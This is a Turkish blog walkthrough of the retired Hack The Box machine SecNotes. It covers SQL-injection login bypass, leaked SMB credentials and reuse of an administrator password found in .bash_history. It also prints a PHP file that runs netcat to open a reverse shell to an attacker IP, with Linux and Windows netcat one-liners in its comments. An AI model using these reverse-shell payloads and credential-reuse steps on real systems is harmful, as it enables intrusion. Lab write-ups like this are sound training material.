SecNotes - Hack The Box

Rıdvan Kaplan
4 min readFeb 8, 2021

Merhaba !!!

Şimdi Hack The Box içerisinde yeni emekliye ayrılmış SecNotes makinesinin çözümünü inceleyeceğiz.

Öncelikle nmap taramasıyla port durumlarını inceleyelim.

Hedef makinemiz Windows sunucu üzerinde çalışıyormuş ve 3 tane port açıkmış. Öncelikle 80 portunu tarayıcımız üzerinde inceleyelim.

Tarayıcımızda açınca direkt giriş sayfasına yönlendiriyor. Öncelikle normal bir kullanıcıyla kayıt olup giriş yapıyorum.

Notlarımızı kaydettiğimiz bir internet sitesiymiş. Yeni not ekleme, parola değiştirme gibi seçenekler var.

Denemek amaçlı XSS varmıdır diye merak ettim. Evet var ama bir işimize yaramaz buradaki XSS. Biz tekrar giriş sayfamıza dönelim.

Login gördüğümüz an aklımıza SQL Injection gelmesi gerekiyor. Amacımız tüm kayıtlı notları görmek olacağı için bypass etmeye çalışıyorum. Çok da zor değilmiş atlatması.

Biraz SQL biliyorsanız yazdığımı anlamışsınızdır. Tüm kullanıcıların notlarını görmemizi sağlar. Sqli yapacağımız payload ile kayıt olup giriş yapıyoruz.

Ve tüm kayıtlı notları görebiliyoruz. Notlardan birisi dikkatimi çekiyor. Kullanıcı adı, parola gibi değerlere benziyor. Hatırlarsanız 445 (SMB) portu açıktı. Oradan giriş yapmayı deneyebiliriz

Kullanıcı Adı -> tyler
Parola -> 92g!mA8BGjOirkL%OG*&
Paylaşım -> new-site

Bulduğumuz değerler ve smbclient ile bağlanıyoruz. İçeride 2 dosya buluyoruz. Bu dosyalar 8808 portunda olan çalışan dosyalar olduğunu fark ediyoruz.

Anlıyoruz ki buraya yüklediğimiz dosyaları 8808 portunda açabiliriz. Hemen reverse shell almaya çalışıyoruz.

Kullandığım php dosyası şu şekilde

<?php 
echo shell_exec('nc.exe 10.10.15.210 1234 -e cmd.exe');
//CySecLab
//nc 192.168.100.113 4444 –e /bin/bash >>> For Linux Systems
//nc.exe 192.168.100.113 4444 –e cmd.exe >>> For windows Systems
?>

Php dosyası netcat’i kullanacağı için yanında birde nc.exe programını yüklüyorum. Kendi terminalimden de 1234 portunuda dinlemeye alıyorum ve tarayıcıda açıyorum.

Bağlantımızı aldık ve user.txt‘mizi okuduk. Sıradaki amacımız root.txt‘i okumak.

Öncelikle dizinleri inceliyorum. Değişik birşeyler var mı diye.

Windows sunucu üzerinde dağıtım olarak ubuntu yüklü. Fark ettiyseniz internet sitesinde login.php register.php olmasının nedeni buydu. Ve shell’imizi de php dosya kullanarak almıştık. Eğer ubuntu yüklü ise bu dağıtımın içine bağlanabiliriz demektir. Tüm dizinlerde bash, bash.exegibi isimleri arattım ve buldum.

Dizini bulduktan sonra bash.exe’yi çalıştırıyorum ve makineye erişmiş oluyorum. Öncelikle etkileşimli shell almadan içimiz rahat etmez diyerek alıyoruz.

Etkileşimli shell aldık ve root olarak bağlanmışız.

Ama /root içinde root.txt yok 🙂

Çünkü bizden ubuntu içinde root olmamız istenmiyor. Windows içinde Administrator olmamız isteniyor. Aramalarımıza devam ediyoruz. İlk önce en sevdiğim dosyanın içeriğini inceliyoruz. .bash_history dosyası.

Dosyanın içeriğinde gözüküyor ki administrator smbclient ile parolası açık bir şekilde bağlanmış. Bizde aynı şekilde bağlanıyoruz.

Aynı şekilde bağlandık ve root.txt’i çektik.

Ubuntu makinesine çektiğimiz root.txt’mizi okuduk ve makineyi tamamladık.

Okuduğunuz için teşekkürler. Yazılarımda herhangi bir teknik hata varsa bildirmekten çekinmeyiniz…

Originally published at https://ridvankaplan.com.

--

--

Rıdvan Kaplan

Cyber Security & Blue Team | OSCP & eCTHPv2 & eCIR & CySA+